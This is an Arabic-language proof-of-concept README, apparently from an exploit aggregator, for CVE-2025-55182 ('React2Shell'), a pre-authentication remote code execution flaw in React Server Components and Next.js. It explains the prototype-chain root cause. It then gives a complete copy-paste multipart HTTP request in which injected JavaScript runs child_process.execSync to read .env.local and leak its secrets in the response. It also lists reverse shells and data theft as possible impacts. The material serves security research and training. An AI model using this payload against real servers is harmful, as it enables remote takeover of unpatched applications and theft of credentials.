## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KOADT-POC-CVE-2025-55182
# CVE-2025-55182 (React2Shell) - إثبات المفهوم
> **⚠️ تحذير: هذا المستودع مخصص للأغراض التعليمية والبحث الأمني فقط. لا تستخدم هذا الثغرة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.**
## نظرة عامة
يحتوي هذا المستودع على عرض توضيحي لإثبات المفهوم لـ **CVE-2025-55182** ، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة تؤثر على مكونات خادم React.
**درجة CVSS:** 10.0 (حرجة)
**الإصدارات المتأثرة:**
* مكونات خادم React 19.0.0 و19.1.0 و19.1.1 و19.2.0
* الحزم: `react-server-dom-parcel` و`react-server-dom-turbopack` و`react-server-dom-webpack`
## ملخص الثغرة
CVE-2025-55182 هي ثغرة في إلغاء التسلسل غير الآمن في تنفيذ بروتوكول Flight لمكونات خادم React. تسمح الثغرة للمهاجمين غير المصادق عليهم بتنفيذ كود JavaScript عشوائي على الخادم عن طريق صياغة حمولات ضارة تستغل اجتياز سلسلة النموذج الأولي وأنماط الوصول غير الآمن إلى الخصائص.
### السبب الجذري
تنشأ الثغرة من كيفية قيام مكونات خادم React بإلغاء تسلسل حمولات بروتوكول Flight. عند معالجة مراجع الوحدات، يستخدم الكود تدوين الأقواس للوصول إلى الخصائص (`moduleExports[metadata[2]]`)، مما يؤدي إلى اجتياز سلسلة النموذج الأولي بأكملها في JavaScript. وهذا يسمح للمهاجمين بالإشارة إلى خصائص لم يتم تصديرها صراحة، بما في ذلك خاصية `constructor`، التي توفر الوصول إلى دالة `Function` العامة.
من خلال ربط تقنيات تلويث النموذج الأولي مع آليات معالجة القطع الداخلية في React، يمكن للمهاجم بناء حمولة تنفذ في النهاية كودًا عشوائيًا عبر دالة Function.
## المتطلبات الأساسية
* Burp Suite Community أو Professional (أو أي وكيل/عميل HTTP)
* إصدار ضعيف من React.js أو Next.js
## تعليمات الإعداد
### الخطوة 1: إنشاء مشروع ضعيف
root@kitploit:~
npx some-email@example.com poc-react2shell
cd poc-react2shell
أو استخدم هذا المستودع.
### الخطوة 2: إنشاء ملف بيئة اختبار
أنشئ ملف `.env.local` في جذر المشروع لتوضيح تأثير الثغرة:
root@kitploit:~
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
### الخطوة 3: تشغيل خادم التطوير
شغِّل خادم Next.js للتطوير:
root@kitploit:~
npm run dev
يجب أن يبدأ الخادم على `http://localhost:3000`.
## خطوات الاستغلال
### الخطوة 4: إرسال الحمولة الضارة
1. في Burp Suite، انتقل إلى علامة التبويب **Repeater**
2. اضبط عنوان URL المستهدف على `http://localhost:3000/`
3. انسخ والصق الحمولة بأكملها في نافذة الطلب
4. أرسل
انقر للتوسيع
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
### الخطوة 5: تحليل الرد
يجب أن يحتوي الرد على محتويات ملف `.env.local` الخاص بك في نص الرد:

### الحمولة
تتكون الحمولة من ثلاثة حقول نموذج متعددة الأجزاء:
**الحقل 0:** كائن قطعة وهمي يحتوي على:
* مراجع تلويث النموذج الأولي (`$1:__proto__:then`)
* مرجع Blob (`$B1337`) يؤدي إلى تشغيل الثغرة
* كائن `_response` ملوث بـ `_prefix` خبيث و`_formData.get`
**الحقل 1:** مرجع إلى الحقل 0 (`$@0`)
**الحقل 2:** مصفوفة فارغة (`[]`)
الكود الخبيث في `_prefix` يقرأ `.env.local` باستخدام `child_process.execSync` الخاص بـ Node.js ويُدرج النتيجة في خطأ digest.
## التأثير
تسمح هذه الثغرة للمهاجمين بما يلي:
* تنفيذ كود عشوائي على الخادم
* قراءة ملفات حساسة (متغيرات البيئة، ملفات التكوين، إلخ)
* إنشاء قذائف عكسية
* تسريب البيانات
* تنفيذ أي عملية يمتلك صلاحياتها عملية Node.js
## المراجع
* تفاصيل CVE-2025-55182
* Next.js-RSC-RCE-Scanner-CVE-2025-66478
* إعلان أمان React
* إعلان أمان Facebook
* كتالوج الثغرات المستغلة المعروفة لدى CISA
* react2shellcve202555182
* * *
> ### مارس هذه الثغرة في سيناريو واقعي
>
> هل تريد استغلال CVE-2025-55182 في بيئة CTF عملية؟ تحقق من **OSS OopsSec Store** ، وهو مختبر ضعيف عمدًا مصمم للتدريب على الأمن الهجومي. تم تنفيذ هذه الثغرة كأحد الأعلام!
* * *
## إخلاء مسؤولية
تم تقديم إثبات المفهوم هذا للأغراض التعليمية والبحث الأمني فقط. تأكد دائمًا من الحصول على إذن كتابي صريح قبل اختبار الثغرات الأمنية على أي نظام.